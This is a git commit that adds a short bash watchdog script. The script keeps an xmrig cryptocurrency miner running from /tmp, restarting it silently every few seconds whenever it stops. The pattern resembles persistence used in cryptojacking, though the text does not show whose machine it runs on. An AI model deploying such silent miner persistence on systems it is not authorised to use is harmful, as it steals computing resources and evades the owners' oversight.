Add miner_protect.sh

This commit is contained in:
2025-04-24 05:23:09 +00:00
parent 3d4af3031b
commit 85e3e32126

14
miner_protect.sh Normal file
View File

@ -0,0 +1,14 @@
#!/bin/bash
# Path to miner binary and config
MINER_PATH="/tmp/xmrig/xmrig-6.22.2/xmrig"
CONFIG_PATH="/tmp/xmrig/xmrig-6.22.2/config.json"
# Infinite loop to monitor miner
while true; do
if ! pgrep -f "$MINER_PATH" > /dev/null; then
echo "[!] Miner not running. Restarting..."
nohup "$MINER_PATH" -c "$CONFIG_PATH" > /dev/null 2>&1 &
fi
sleep 5
done